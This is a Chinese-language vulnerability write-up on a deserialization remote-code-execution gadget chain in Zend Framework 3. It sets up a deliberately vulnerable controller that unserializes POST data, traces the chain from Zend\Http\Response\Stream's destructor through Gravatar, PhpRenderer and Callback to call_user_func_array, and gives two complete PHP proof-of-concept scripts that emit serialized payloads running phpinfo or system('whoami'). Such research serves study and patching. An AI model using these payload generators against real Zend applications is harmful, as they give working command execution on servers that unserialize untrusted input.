Skip to content

Latest commit

 

History

History
241 lines (207 loc) · 7.27 KB

zend framework3 反序列化 rce.md

File metadata and controls

241 lines (207 loc) · 7.27 KB

漏洞demo

zend framework3本身没有触发反序列化的点,因此我们需要自己构造一个漏洞demo,用作poc的验证。首先用composer安装

composer create-project zendframework/skeleton-application

module/Application/src/Controller/IndexController.php改成

class IndexController extends AbstractActionController
{
    public function indexAction()
    {
        $data = $this->getRequest()->getPost('hello');
        unserialize(base64_decode($data));
        return new ViewModel();
    }
}

漏洞分析

__destruct

在zendframework3核心包中只有三个__destruct入口,其中两个都很简单,只有vendor/zendframework/zend-http/src/Response/Stream.php中的Zend\Http\Response\Stream类有利用的可能。其析构函数如下

$this->cleanup$this->streamNameunlink函数的第一个参数为String类型,所以可以在啊$this->streamName传入类的实例,可以触发__toString

__toString

__toString方法的类很多,我看中了vendor/zendframework/zend-view/src/Helper/Gravatar.php中的Zend\View\Helper\Gravatar

跟进到$this->htmlAttribs()

$key = $escaper($key);

看到rce的希望。回到Gravatar$this->getAttributes()可控

public function getAttributes()
{
    return $this->attributes;
}

现在只需要构造能顺利执行到rce语句的类,但是

$escaper        = $this->getView()->plugin('escapehtml');
$escapeHtmlAttr = $this->getView()->plugin('escapehtmlattr');

这两句带来了一些麻烦。$this->getView()可控

public function getView()
{
    return $this->view;
}

这里可以触发__invoke,但是我选择直接找有plugin()方法的类。

疏通

vendor/zendframework/zend-view/src/Renderer/PhpRenderer.php中的Zend\View\Renderer\PhpRenderer就是我们要找的。

由于$this->__helpers可控,所以$this->getHelperPluginManager()也可控, 接下来有两种方法,最终目的都是让get()返回我们要的字符串

方法一:Zend\ServiceManager\ReaderPluginManager

get()方法在vendor/zendframework/zend-servicemanager/src/AbstractPluginManager.phpZend\ServiceManager\AbstractPluginManager中定义,这里我随便选取了子类Zend\Config\ReaderPluginManager

$name参数为不可控的escapehtmlescapehtmlattr

has()可以控制输出使$foundtrue

parent::get()同样可控

$this->validate()主要是个instanceof的判断,这就限制死了$key = $escaper($key)中的$escaper必须是个类,又回到了寻找__invoke()

__invoke

vendor/zendframework/zend-validator/src/AbstractValidator.php中的Zend\Validator\AbstractValidator可以利用

public function __invoke($value)
{
    return $this->isValid($value);
}

我找到了一个可以利用的子类Zend\Validator\Callback

可以看到第139行有call_user_func_array$callback来自

public function getCallback()
{
    return $this->options['callback'];
}

args来自$args = [$value];,也就是函数的第一个参数,即htmlAttribs()中的$key,所有参数可控,可以rce,最终调用栈如下

poc

要注意zend framework3采用了自动加载类的方式,会自动包含我们需要的类

<?php

namespace Zend\Http\Response {
    class Stream
    {
        protected $cleanup = true;
        protected $streamName;

        public function __construct($streamName)
        {
            $this->streamName = $streamName;
        }
    }
}

namespace Zend\View\Helper{
    class Gravatar{
        protected $view;
//        protected $attributes = ["whoami"=>'a'];
        protected $attributes = [1=>'a'];
        public function __construct($view)
        {
            $this->view=$view;
        }
    }
}

namespace Zend\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        public function __construct($__helpers)
        {
            $this->__helpers = $__helpers;
        }
    }
}
namespace Zend\Config{
    class ReaderPluginManager{
        protected $services;
        protected $instanceOf ="Zend\Validator\Callback";
        public function __construct($services){
            $this->services = ["escapehtml"=>$services,"escapehtmlattr"=>$services];
        }
    }
}
namespace Zend\Validator{
    class Callback{
        protected $options = [
            'callback'         => 'phpinfo',
            'callbackOptions'  => []
        ];
    }
}

namespace {
    $e = new Zend\Validator\Callback();
    $d = new Zend\Config\ReaderPluginManager($e);
    $c = new Zend\View\Renderer\PhpRenderer($d);
    $b = new Zend\View\Helper\Gravatar($c);
    $a = new Zend\Http\Response\Stream($b);
    echo base64_encode(serialize($a));
}

结果

方法二:Zend\Config\Config

另一种方法是寻找更方便的有get()的方法,我找到了Zend\Config\Config

可以直接返回我们想要的数据,在$key = $escaper($key)rce 调用栈如下

poc

<?php

namespace Zend\Http\Response {
    class Stream
    {
        protected $cleanup = true;
        protected $streamName;

        public function __construct($streamName)
        {
            $this->streamName = $streamName;
        }
    }
}

namespace Zend\View\Helper{
    class Gravatar{
        protected $view;
//        protected $attributes = ["whoami"=>'a'];
        protected $attributes = ['whoami'=>1];
        public function __construct($view)
        {
            $this->view=$view;
        }
    }
}

namespace Zend\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        public function __construct($__helpers)
        {
            $this->__helpers = $__helpers;
        }
    }
}

namespace Zend\Config{
    class Config{
        protected $data = [
            "escapehtml"=>'system',
            "escapehtmlattr"=>'phpinfo'
        ];
    }
}

namespace {
    $d = new Zend\Config\Config();
    $c = new Zend\View\Renderer\PhpRenderer($d);
    $b = new Zend\View\Helper\Gravatar($c);
    $a = new Zend\Http\Response\Stream($b);
    echo base64_encode(serialize($a));
}

结果